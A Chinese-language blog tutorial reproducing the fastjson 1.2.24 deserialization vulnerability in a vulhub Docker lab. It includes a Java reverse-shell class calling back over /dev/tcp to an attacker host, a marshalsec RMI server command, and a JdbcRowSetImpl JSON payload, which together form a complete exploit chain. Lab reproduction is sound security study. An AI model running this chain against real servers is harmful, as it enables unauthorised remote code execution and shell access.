fastjson-1.2.24漏洞,搭建及复现,手把手图文教程

fastjson-1.2.24漏洞,搭建及复现,手把手图文教程

java1.8、python,我就不写这么安装了



一、搭建文件数据(docker、vulhub、mvn、RMI)

1.安装docker和docker-compose

安装完成后查看版本是否正常输出,或者把报错的安装全部安装也行
参考链接:
kali 2020安装docker

命令描述
docker -v查看docker版本
docker-compose -v查看docker-compose版本
sudo apt install docker安装docker
sudo apt install docker-compose安装docker-compose

在这里插入图片描述


2.准备vulhub

创建个fastjson1.2.24命名的目录,文件名:docker-compose.yml,内容为以下
这样就可以省略git vulhub的步骤,我试了一下是可以的

version: '2'
services:
 web:
   image: vulhub/fastjson:1.2.24
   ports:
    - "8090:8090"

或者你想全部git就执行下面代码

sudo git clone https://github.com/vulhub/vulhub.git

3.安装mvn命令

先从官网下载maven安装包
下载官网:Maven–下载Apache Maven
在这里插入图片描述


下载后解压到/opt
在这里插入图片描述


然后配置环境变量,打开/etc/profile文件,在末尾添加命令

export M2_HOME=/opt/apache-maven-3.6.3
export PATH=$PATH:$M2_HOME/bin

添加完后使环境生效

source /etc/profile

检查mvn是否安装正常

mvn -v

在这里插入图片描述

4.安装RMI服务器

编译marshalsec项目,启动RMI服务,监听端口并加载远程类

git clone https://github.com/mbechler/marshalsec.git

进入到marshalsec文件夹输入命令进行编译

mvn clean package -DskipTests

5.启动fastjson

cd 到步骤2目录,fastjson目录
在这里插入图片描述


使用docker-compose启动fastjson漏洞环境

docker-compose up -d

使用docke查看搭建情况及映射端口

docker ps

在这里插入图片描述


访问ip:端口,端口在docker ps里面,8090是端口,成功访问,搭建成功了
在这里插入图片描述

二、利用fastjson1.2.24

1.编写exp.java,反弹shell

exp.java

import java.lang.Runtime;
import java.lang.Process;

public class exp{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/攻击者ip/攻击者nc监听端口 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
        }
    }
}

2.编译exp.java,编译为exp.class

exp.java

javac exp.java

在这里插入图片描述


3.python开启web服务器

python2

python -m SimpleHTTPServer

python3

python -m http.server 

4.开启RMI服务器

cd到marshalsec/target目录下,marshalsec是安装RMI的那个目录,target是编译后的目录
RMI端口自己自定义

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://攻击者ip:攻击者python开启的端口/#exp" 攻击者RMI端口

5.开启nc监听

nc监听端口要和exp.java里面的一致

nc -lvnp 攻击者nc监听端口

6.发送fastjson给服务器就可以

nc监听端口要和exp.java里面的一致

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://攻击者ip:攻击者RMI服务器端口/exp",
        "autoCommit":true
    }
}

复现利用成功
在这里插入图片描述

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

米汤爱学习

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值